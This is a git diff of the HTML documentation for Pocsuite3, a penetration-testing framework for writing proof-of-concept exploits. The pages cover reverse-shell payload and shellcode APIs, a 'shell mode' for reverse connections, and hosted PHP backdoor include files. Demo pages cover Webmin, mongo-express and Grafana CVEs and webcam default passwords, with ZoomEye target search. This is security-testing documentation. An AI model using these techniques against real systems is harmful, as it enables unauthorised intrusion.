Some PoC scripts need to fill in login information, or execute user-specified commands. Parameters can be customized in PoC, see: PoC With Customizable Parameters
Use the --options parameter to view the custom parameters defined by the PoC:
pocsuite -k ecshop --options
 
 [17:27:24] [INFO] loading PoC script '**/lib/python3.9/site-packages/pocsuite3-1.9.6-py3.9.egg/pocsuite3/pocs/ecshop_rce.py'
 
@@ -154,8 +171,8 @@
 [20:18:19] [INFO] Current upstream version: 1.9.6
 ...
 
--version 
Print the currently installed version of Pocsuite3.
-n / --new 
Generate a PoC template, please refer to: PoC Writing Example
-c 
Provide all parameters through the configuration file, see for details : pocsuite.ini Configuration
--plugins 
Load and execute custom plugins, see for details: Plugin writing
--rule / --rule-req / --rule-filename 
Export suricata rules in PoC scripts (requires suricata_request, suricata_respons defined in PoC).
--no-check 
Disable URL protocol correction and honeypot check.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/parameter-posuite-ini.html b/en/guide/parameter-posuite-ini.html
index 0dcbe40a..e04f774f 100644
--- a/en/guide/parameter-posuite-ini.html
+++ b/en/guide/parameter-posuite-ini.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
pocsuite.ini Configuration 
Configuration file example:
[Target]
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
pocsuite.ini Configuration 
Configuration file example:
[Target]
 ; target url/cidr (e.g. "http://www.site.com/vuln.php?id=1")
 url = https://www.google.com
 ; scan multiple targets given in a textual file (one per line)
@@ -148,8 +148,8 @@
 show_options =
 
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/plugin-introduction.html b/en/guide/plugin-introduction.html
index 6d41cbaa..96d792bc 100644
--- a/en/guide/plugin-introduction.html
+++ b/en/guide/plugin-introduction.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
-    
-    
+    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/plugin-pocs.html b/en/guide/plugin-pocs.html
index 51402dde..36c4d794 100644
--- a/en/guide/plugin-pocs.html
+++ b/en/guide/plugin-pocs.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
POCS plugin 
POCS plugin is used to load PoC scripts during system initialization, such as loading PoC script code from redis or database.
from pocsuite3.api import PluginBase
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
POCS plugin 
POCS plugin is used to load PoC scripts during system initialization, such as loading PoC script code from redis or database.
from pocsuite3.api import PluginBase
 from pocsuite3.api import PLUGIN_TYPE
 from pocsuite3.api import logger
 from pocsuite3.api import register_plugin
@@ -34,8 +34,8 @@
 
 register_plugin(TargetPluginDemo)
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/plugin-results.html b/en/guide/plugin-results.html
index c3433239..0be241a3 100644
--- a/en/guide/plugin-results.html
+++ b/en/guide/plugin-results.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
RESULTS plugin 
The RESULTS plugin is used to customize the export of detection results, such as exporting html reports.
from pocsuite3.api import PluginBase
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
RESULTS plugin 
The RESULTS plugin is used to customize the export of detection results, such as exporting html reports.
from pocsuite3.api import PluginBase
 from pocsuite3.api import PLUGIN_TYPE
 from pocsuite3.api import logger
 from pocsuite3.api import get_results
@@ -82,8 +82,8 @@
 
 register_plugin(FileRecord)
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/plugin-targets.html b/en/guide/plugin-targets.html
index 530b95ab..d8f47ce7 100644
--- a/en/guide/plugin-targets.html
+++ b/en/guide/plugin-targets.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
TARGETS plugin 
TARGETS plugin is used to load detection targets during system initialization, such as loading targets from redis or database.
from pocsuite3.api import PluginBase
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
TARGETS plugin 
TARGETS plugin is used to load detection targets during system initialization, such as loading targets from redis or database.
from pocsuite3.api import PluginBase
 from pocsuite3.api import PLUGIN_TYPE
 from pocsuite3.api import logger
 from pocsuite3.api import register_plugin
@@ -34,8 +34,8 @@
 
 register_plugin(TargetPluginDemo)
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/poc-api.html b/en/guide/poc-api.html
index 5aae156e..054d104e 100644
--- a/en/guide/poc-api.html
+++ b/en/guide/poc-api.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
API 
When writing PoC, please use the API that has been encapsulated by Pocsuite3.
General Method 
MethodsInstructions
from pocsuite3.api import loggerLog
from pocsuite3.api import requestsPatched requests
from pocsuite3.api import SeebugSeebug API
from pocsuite3.api import ZoomEyeZoomEye API
from pocsuite3.api import ShodanShodan API
from pocsuite3.api import FofaFofa API
from pocsuite3.api import QuakeQuake API
from pocsuite3.api import HunterHunter API
from pocsuite3.api import CensysCensys API
from pocsuite3.api import CEyeCEye API
from pocsuite3.api import InteractshInteractsh API
from pocsuite3.api import crawlSimple crawler
from pocsuite3.api import PHTTPServerHttp Service
from pocsuite3.api import REVERSE_PAYLOADReverse shell payload
from pocsuite3.api import get_resultsGet Results
(TODO: Improve API documentation)
ShellCode Generation 
In some special Linux and Windows environments, it is difficult to get the reverse shell. To overcome this, we have made shellcode for Windows/Linux x86/x64 environment.
Demo Poc: https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/thinkphp_rce2.py
from pocsuite3.api import generate_shellcode_list
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
API 
When writing PoC, please use the API that has been encapsulated by Pocsuite3.
General Method 
MethodsInstructions
from pocsuite3.api import loggerLog
from pocsuite3.api import requestsPatched requests
from pocsuite3.api import SeebugSeebug API
from pocsuite3.api import ZoomEyeZoomEye API
from pocsuite3.api import ShodanShodan API
from pocsuite3.api import FofaFofa API
from pocsuite3.api import QuakeQuake API
from pocsuite3.api import HunterHunter API
from pocsuite3.api import CensysCensys API
from pocsuite3.api import CEyeCEye API
from pocsuite3.api import InteractshInteractsh API
from pocsuite3.api import crawlSimple crawler
from pocsuite3.api import PHTTPServerHttp Service
from pocsuite3.api import REVERSE_PAYLOADReverse shell payload
from pocsuite3.api import get_resultsGet Results
(TODO: Improve API documentation)
ShellCode Generation 
In some special Linux and Windows environments, it is difficult to get the reverse shell. To overcome this, we have made shellcode for Windows/Linux x86/x64 environment.
Demo Poc: https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/thinkphp_rce2.py
from pocsuite3.api import generate_shellcode_list
 _list = generate_shellcode_list(listener_ip=get_listener_ip(), listener_port=get_listener_port(), os_target=OS.LINUX, os_target_arch=OS_ARCH.X86)
 
HTTP Service 
For some vulnerabilities that require HTTP services, Pocsuite3 also provides corresponding APIs to support opening an HTTP service locally for verification.
Test cases can be viewed: https://github.com/knownsec/pocsuite3/blob/master/tests/test_httpserver.py
"""
 If you have issues about development, please read:
@@ -108,8 +108,8 @@
 register_poc(DemoPOC)
 
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/poc-base-class.html b/en/guide/poc-base-class.html
index 63078a50..08650312 100644
--- a/en/guide/poc-base-class.html
+++ b/en/guide/poc-base-class.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
PoC Base Class 
In order to simplify the writing of PoC scripts, Pocsuite3 implements the PoC base class: POCBase, where many common code can be placed. When writing PoC, we only need to inherit the base class, and write the core code of the Vulnerability. The commonly used properties and methods are as follows:

+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
PoC Base Class 
In order to simplify the writing of PoC scripts, Pocsuite3 implements the PoC base class: POCBase, where many common code can be placed. When writing PoC, we only need to inherit the base class, and write the core code of the Vulnerability. The commonly used properties and methods are as follows:

 Common properties:
 
 self.url # target url
@@ -167,8 +167,8 @@
     return not is_honeypot
 
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/poc-code-example.html b/en/guide/poc-code-example.html
index 0dba5e87..7ed4b473 100644
--- a/en/guide/poc-code-example.html
+++ b/en/guide/poc-code-example.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
PoC Code Example 
Ecshop 2.x/3.x Remote Code Execution PoC 
import base64
+    
-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/poc-definition-options.html b/en/guide/poc-definition-options.html
index 17fa19f6..53199004 100644
--- a/en/guide/poc-definition-options.html
+++ b/en/guide/poc-definition-options.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
PoC With Customizable Parameters 
Example 
If you need to write a PoC with customizable parameters, for example, some PoC scripts need to fill in login information or execute arbitrary commands, then you can declare a _options method in the PoC file. A simple example is as follows:
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
PoC With Customizable Parameters 
Example 
If you need to write a PoC with customizable parameters, for example, some PoC scripts need to fill in login information or execute arbitrary commands, then you can declare a _options method in the PoC file. A simple example is as follows:
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
 from pocsuite3.api import OrderedDict, OptString
 
 
@@ -58,8 +58,8 @@
 register_poc(DemoPOC)
 
You can use this PoC both in console and cli mode.
  • In console mode, you need to use set command to set the corresponding parameters, and then use run or check command to execute (attack and shell commands also work) .
  • In cli mode, as shown in the above example, two fields username and password are defined. You can add --username test --password test as the CLI parameter. If your parameter contains spaces, wrap it with double quotes ".
Parameter Types 
Similar to above, if you want to use a custom parameter, define it in the _options method. The custom parameter types supported by Pocsuite3 are as follows:
from pocsuite3.api import OptString, OptDict, OptIP, OptPort, OptBool, OptInteger, OptFloat, OptItems
 
It should be noted that console mode supports all parameter types, and cli mode supports all types except OptDict, OptBool, OptItems.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/poc-demo-camera-auth-bypass.html b/en/guide/poc-demo-camera-auth-bypass.html
index b0531923..a888e2db 100644
--- a/en/guide/poc-demo-camera-auth-bypass.html
+++ b/en/guide/poc-demo-camera-auth-bypass.html
@@ -9,12 +9,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Webcam Login Bypass 
Vulnerability details: ZoomEye Data Analysis Report - NEO Coolcam's Webcam Vulnerabilities
The Webcam Web service is based on HTTP basic authentication. There are three groups of default credentials which correspond to different permission levels. The three groups of default credentials are: admin:admin, user:user, guest:guest. During installation, the APP will only remind users to modify the default password of the admin account.
It is worth mentioning that the user account and guest account can also view the video stream, and most users will not modify the default passwords of these accounts, resulting in privacy leakage.
PoC development 
Generate template.
➜ pocsuite --new
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Webcam Login Bypass 
Vulnerability details: ZoomEye Data Analysis Report - NEO Coolcam's Webcam Vulnerabilities
The Webcam Web service is based on HTTP basic authentication. There are three groups of default credentials which correspond to different permission levels. The three groups of default credentials are: admin:admin, user:user, guest:guest. During installation, the APP will only remind users to modify the default password of the admin account.
It is worth mentioning that the user account and guest account can also view the video stream, and most users will not modify the default passwords of these accounts, resulting in privacy leakage.
PoC development 
Generate template.
➜ pocsuite --new
 ...
 0    Arbitrary File Read
 1    Code Execution
@@ -73,8 +73,8 @@
 +        return self._verify()
 
 
Vulnerability verification 
Use --dork-zoomeye to specify keywords to retrieve targets from ZoomEye for detection.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/poc-demo-cve-2019-10758.html b/en/guide/poc-demo-cve-2019-10758.html
index 04860d42..cb4b2ca5 100644
--- a/en/guide/poc-demo-cve-2019-10758.html
+++ b/en/guide/poc-demo-cve-2019-10758.html
@@ -9,12 +9,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Mongo-express Authentication Remote Code Execution Vulnerability (CVE-2019-10758) 
Vulnerability details: mongo-express Remote Code Execution Vulnerability (CVE-2019-10758)
Mongo-express is a web-based MongoDB admin interface written in Node.js, Express.js, and Bootstrap3.
Mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the toBSON method. A misuse of the vm dependency to perform exec commands in a non-safe environment. If the attacker can successfully log in, or the target server has not changed the default account password (admin:pass), then arbitrary node.js code can be executed.
PoC development 
Use pocsuite --new to generate the template. Since this is an OOB vulnerability, we use OOB interaction services such as CEye or Interactsh to assist verification.
TIP
The Out-of-Band vulnerabilities, also known as OOB, are a series of alternative ways that an attacker uses to exploit a vulnerability that can’t be detected by a traditional HTTP request-response interaction.
Interactsh is an open-source tool for detecting out-of-band interactions. It developed by projectdiscovery, a well-known open source software organization. As long as you have a domain, you can quickly build your own oob service. There are also some publicly available, such as: interact.sh, oast.pro, oast.live, oast.site, oast.online, oast.fun, oast.me.
Generate template.
➜ pocsuite --new
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Mongo-express Authentication Remote Code Execution Vulnerability (CVE-2019-10758) 
Vulnerability details: mongo-express Remote Code Execution Vulnerability (CVE-2019-10758)
Mongo-express is a web-based MongoDB admin interface written in Node.js, Express.js, and Bootstrap3.
Mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the toBSON method. A misuse of the vm dependency to perform exec commands in a non-safe environment. If the attacker can successfully log in, or the target server has not changed the default account password (admin:pass), then arbitrary node.js code can be executed.
PoC development 
Use pocsuite --new to generate the template. Since this is an OOB vulnerability, we use OOB interaction services such as CEye or Interactsh to assist verification.
TIP
The Out-of-Band vulnerabilities, also known as OOB, are a series of alternative ways that an attacker uses to exploit a vulnerability that can’t be detected by a traditional HTTP request-response interaction.
Interactsh is an open-source tool for detecting out-of-band interactions. It developed by projectdiscovery, a well-known open source software organization. As long as you have a domain, you can quickly build your own oob service. There are also some publicly available, such as: interact.sh, oast.pro, oast.live, oast.site, oast.online, oast.fun, oast.me.
Generate template.
➜ pocsuite --new
 ...
 -----
 Seebug ssvid (eg, 99335) [0]: 98116
@@ -93,8 +93,8 @@
 Connection: keep-alive
                                                                        
 
Vulnerability verification 
Through the command line parameter --user admin --pwd pass --oob-server interact.sh specifies the user name, password, and OOB service to be used. If not provided, the default value will be used.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/poc-demo-cve-2019-15107.html b/en/guide/poc-demo-cve-2019-15107.html
index bf866d1a..a189ea6e 100644
--- a/en/guide/poc-demo-cve-2019-15107.html
+++ b/en/guide/poc-demo-cve-2019-15107.html
@@ -9,12 +9,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Webmin Unauthorized Remote Command Execution Vulnerability (CVE-2019-15107) 
Vulnerability details: Webmin Unauthenticated Remote Execution
Webmin is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS, file sharing and much more.
An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.
PoC development 
Based on the details of the vulnerability disclosed on the Internet, we can easily develop the PoC of the vulnerability. First, use the --new parameter to generate a PoC template (if you think there are too many attributes, just press enter all the way).
➜ pocsuite --new
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Webmin Unauthorized Remote Command Execution Vulnerability (CVE-2019-15107) 
Vulnerability details: Webmin Unauthenticated Remote Execution
Webmin is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS, file sharing and much more.
An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.
PoC development 
Based on the details of the vulnerability disclosed on the Internet, we can easily develop the PoC of the vulnerability. First, use the --new parameter to generate a PoC template (if you think there are too many attributes, just press enter all the way).
➜ pocsuite --new
 ...
 You are about to be asked to enter information that will be used to create a poc template.
 There are quite a few fields but you can leave some blank.
@@ -170,8 +170,8 @@
          except Exception:
              pass
 
Shell mode works fine.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/poc-demo-cve-2021-43798.html b/en/guide/poc-demo-cve-2021-43798.html
index a6afe15d..0db66b39 100644
--- a/en/guide/poc-demo-cve-2021-43798.html
+++ b/en/guide/poc-demo-cve-2021-43798.html
@@ -9,12 +9,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Grafana Unauthorized Arbitrary File Read Vulnerability (CVE-2021-43798) 
Vulnerability details: Grafana File Reading Vulnerability Analysis and Summary (CVE-2021-43798)
Grafana is a multi-platform open source analytics and interactive visualization web application. It provides charts, graphs, and alerts for the web when connected to supported data sources.
Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) is vulnerable to directory traversal, allowing access to local files.
PoC development 
Generate template.
➜ pocsuite --new
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Grafana Unauthorized Arbitrary File Read Vulnerability (CVE-2021-43798) 
Vulnerability details: Grafana File Reading Vulnerability Analysis and Summary (CVE-2021-43798)
Grafana is a multi-platform open source analytics and interactive visualization web application. It provides charts, graphs, and alerts for the web when connected to supported data sources.
Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) is vulnerable to directory traversal, allowing access to local files.
PoC development 
Generate template.
➜ pocsuite --new
 ...
 -----
 Seebug ssvid (eg, 99335) [0]: 99398
@@ -75,8 +75,8 @@
 INFO[07-14|22:50:26] Path Provisioning                        logger=settings path=/etc/grafana/provisioning
 ...
 
Vulnerability verification 
Verify mode works fine.
Adding the -o a.json parameter can save the result as a file in JSON Lines format.
Attack mode, get the file path from the command line and return the file content.
For the directory traversal vulnerability, one bad thing is that urlib3>1.24.3 will delete ../ from the request URL, which affects many security tools. See issue: Issue with Parsing URIs - Breaks Security Tools when testing for Path Traversal
Pocsuite3 hooks part of the code of urllib3 and requests, supports ../, and the encoding of special characters is cancelled.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/poc-demo-introduction.html b/en/guide/poc-demo-introduction.html
index 29844385..f7c7973a 100644
--- a/en/guide/poc-demo-introduction.html
+++ b/en/guide/poc-demo-introduction.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Introduction 
The framework is only the body, and PoC is the soul. Here, several common vulnerability types are taken as examples to illustrate how to quickly develop PoC based on Pocsuite3.
WARNING
The following vulnerabilities are all public vulnerabilities on the Internet. This tutorial is only for tool teaching purposes. It is forbidden to use PoC for any illegal purposes!
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Introduction 
The framework is only the body, and PoC is the soul. Here, several common vulnerability types are taken as examples to illustrate how to quickly develop PoC based on Pocsuite3.
WARNING
The following vulnerabilities are all public vulnerabilities on the Internet. This tutorial is only for tool teaching purposes. It is forbidden to use PoC for any illegal purposes!
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/poc-introduction.html b/en/guide/poc-introduction.html
index 63a90c46..9b94e1c2 100644
--- a/en/guide/poc-introduction.html
+++ b/en/guide/poc-introduction.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Introduction 
This chapter describes the PoC script writing specifications and requirements, including PoC script writing steps, notices, and some descriptions of related APIs.
TIP
An excellent PoC is inseparable from repeated debugging and testing.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Introduction 
This chapter describes the PoC script writing specifications and requirements, including PoC script writing steps, notices, and some descriptions of related APIs.
TIP
An excellent PoC is inseparable from repeated debugging and testing.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/poc-mode.html b/en/guide/poc-mode.html
index 636df0f4..d609ce0e 100644
--- a/en/guide/poc-mode.html
+++ b/en/guide/poc-mode.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Three Modes 
In Pocsuite3, PoC scripts have three running modes:
  1. verify mode, verify the existence of vulnerabilities. The verification method depends on the specific vulnerability type, such as checking the software version of the target, judging the status code or response of a API, reading a specific file, executing a command and obtaining the result, combined with OOB services, etc. This mode is used for batch vulnerability verification, generally does not require users to provide additional parameters, and should be as harmless to the target as possible.
  2. attack mode, can achieve a specific demand. For example, get specific data, write a shell and return the shell address, get the command from the command line parameter and execute it, get the file path from the command line parameter and return the file content, etc.
  3. shell mode, get an interactive shell. In this mode, Pocsuite3 will listenning the 6666 port of the local machine by default (can be modified by --lhost, --lport), write the corresponding code, and let the target perform a reverse connection to get a shell. Reverse connection Payload can refer to: GTFOBins Reverse shell.
TIP
The implementation of attack mode and shell mode is optional.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Three Modes 
In Pocsuite3, PoC scripts have three running modes:
  1. verify mode, verify the existence of vulnerabilities. The verification method depends on the specific vulnerability type, such as checking the software version of the target, judging the status code or response of a API, reading a specific file, executing a command and obtaining the result, combined with OOB services, etc. This mode is used for batch vulnerability verification, generally does not require users to provide additional parameters, and should be as harmless to the target as possible.
  2. attack mode, can achieve a specific demand. For example, get specific data, write a shell and return the shell address, get the command from the command line parameter and execute it, get the file path from the command line parameter and return the file content, etc.
  3. shell mode, get an interactive shell. In this mode, Pocsuite3 will listenning the 6666 port of the local machine by default (can be modified by --lhost, --lport), write the corresponding code, and let the target perform a reverse connection to get a shell. Reverse connection Payload can refer to: GTFOBins Reverse shell.
TIP
The implementation of attack mode and shell mode is optional.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/poc-remote-file.html b/en/guide/poc-remote-file.html
index 582968c6..a4aee674 100644
--- a/en/guide/poc-remote-file.html
+++ b/en/guide/poc-remote-file.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Pocsuite3 Remote File 
Some PoCs need to include remote files. PoCs based on Pocsuite3 are recommended to use the following files: (If you need some files that are not in the file list below, please submit an issue or PR).
Filepath URL: https://pocsuite.org/include_files/, such as https://pocsuite.org/include_files/xxe_verify.xml
File List
FilenameDescription
v.jspJSP code, verify mode
a.jspJSP code, attack mocd
php_attack.txtPhp backdoor
php_verify.txtPhp backdoor, verify mode
xxe_verify.xmlVerify XXE
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Pocsuite3 Remote File 
Some PoCs need to include remote files. PoCs based on Pocsuite3 are recommended to use the following files: (If you need some files that are not in the file list below, please submit an issue or PR).
Filepath URL: https://pocsuite.org/include_files/, such as https://pocsuite.org/include_files/xxe_verify.xml
File List
FilenameDescription
v.jspJSP code, verify mode
a.jspJSP code, attack mocd
php_attack.txtPhp backdoor
php_verify.txtPhp backdoor, verify mode
xxe_verify.xmlVerify XXE
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/poc-script-write.html b/en/guide/poc-script-write.html
index 8c4a558a..4a8b8c4f 100644
--- a/en/guide/poc-script-write.html
+++ b/en/guide/poc-script-write.html
@@ -9,12 +9,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Write PoC 
This section introduces how to write a PoC using Pocsuite3.
Pocsuite3 only supports Python 3.x. To write PoC in Python3 format, developers need basic Python3 knowledge.
Start From Scratch 
  1. First create a *.py file, Naming Convention refer to: "PoC Naming Convention"
  2. Import the classes and methods from pocsuite3.api, and write the PoC class DemoPOC, which inherits from the PoCBase class.
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Write PoC 
This section introduces how to write a PoC using Pocsuite3.
Pocsuite3 only supports Python 3.x. To write PoC in Python3 format, developers need basic Python3 knowledge.
Start From Scratch 
  1. First create a *.py file, Naming Convention refer to: "PoC Naming Convention"
  2. Import the classes and methods from pocsuite3.api, and write the PoC class DemoPOC, which inherits from the PoCBase class.
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
 from pocsuite3.api import get_listener_ip, get_listener_port
 from pocsuite3.api import REVERSE_PAYLOAD, random_str
 
@@ -239,8 +239,8 @@
 
 register_poc(TestPOC)
 
YAML Based PoC 
From version 2.0.0, Pocsuite3 support YAML based PoC, compatible with nuclei templates.
Guide to write your own nuclei template: nuclei-templating-guide.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/poc-specification.html b/en/guide/poc-specification.html
index ede762f5..e225c08a 100644
--- a/en/guide/poc-specification.html
+++ b/en/guide/poc-specification.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
PoC Specification 
PoC Number 
The PoC number ID is the same as the vulnerability ID. For example, the vulnerabilities in the Seebug are numbered by SSV-xxx, and the PoC number is xxx.
PoC Naming Convention 
Poc Naming: _<PoC number>_<Component>_<Affected version>_<Vulnerability type>, look like this:
_1847_seeyon_3_1_login_info_disclosure.py
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
PoC Specification 
PoC Number 
The PoC number ID is the same as the vulnerability ID. For example, the vulnerabilities in the Seebug are numbered by SSV-xxx, and the PoC number is xxx.
PoC Naming Convention 
Poc Naming: _<PoC number>_<Component>_<Affected version>_<Vulnerability type>, look like this:
_1847_seeyon_3_1_login_info_disclosure.py
 
PoC Third-party Module Dependency 
When writing PoC, try not to use third-party modules. If necessary, please add the install_requires field in the basic information part of the PoC, and fill in the dependent module name in the following format:
install_requires =[str_item_, str_item, …] # The value of the entire field is list, and each item is a dependent module.
 
str_item format: module name[><=]version number, the module name is the module name when pip install is installed (please do not fill in the module name of import).
If you encounter the inconsistency between the module name during installation and the call, use : to separate, such as the common encryption algorithm library pycryptodome, but the call is from Crypto.Cipher import AES, then you need to fill in the following :
install_requires = ['pycryptodome>=3.12.0:Crypto']
 
TIP
The install_requires field is for managing dependencies. When loading the PoC, if the framework detects that the user has not installed the dependent module, it will prompt the user to install the module before continuing to run. It cannot be used to import modules.
PoC Result Convention 
result is the result data returned by PoC. The return value of result requires a complete item to be returned. It does not meet the situation of the result field and is placed in the extra field. This step must ensure that the operator can reproduce/understand according to the information as much as possible. Vulnerabilities, if the steps are complicated, are described in the forensic information. E.g:
# Return the database administrator password
@@ -79,8 +79,8 @@
 ]
 
 
Vulnerability Type Specification 
Name (English)Name (Chinese)Abbreviation
Cross Site Scripting  跨站脚本  xss
Cross Site Request Forgery  跨站请求伪造  csrf
SQL Injection  Sql注入  sql-inj
LDAP Injection  ldap注入  ldap-inj
Mail Command Injection  邮件命令注入  smtp-inj
Null Byte Injection  空字节注入  null-byte-inj
CRLF Injection  CRLF注入  crlf-inj
SSI Injection  Ssi注入  ssi-inj
XPath Injection  Xpath注入  xpath-inj
XML Injection  Xml注入  xml-inj
XQuery Injection  Xquery 注入  xquery-inj
Command Execution  命令执行  cmd-exec
Code Execution  代码执行  code-exec
Remote File Inclusion  远程文件包含  rfi
Local File Inclusion  本地文件包含  lfi
Abuse of Functionality  功能函数滥用  func-abuse
Brute Force  暴力破解  brute-force
Buffer Overflow  缓冲区溢出  buffer-overflow
Content Spoofing  内容欺骗  spoofing
Credential Prediction  证书预测  credential-prediction
Session Prediction  会话预测  session-prediction
Denial of Service  拒绝服务  dos
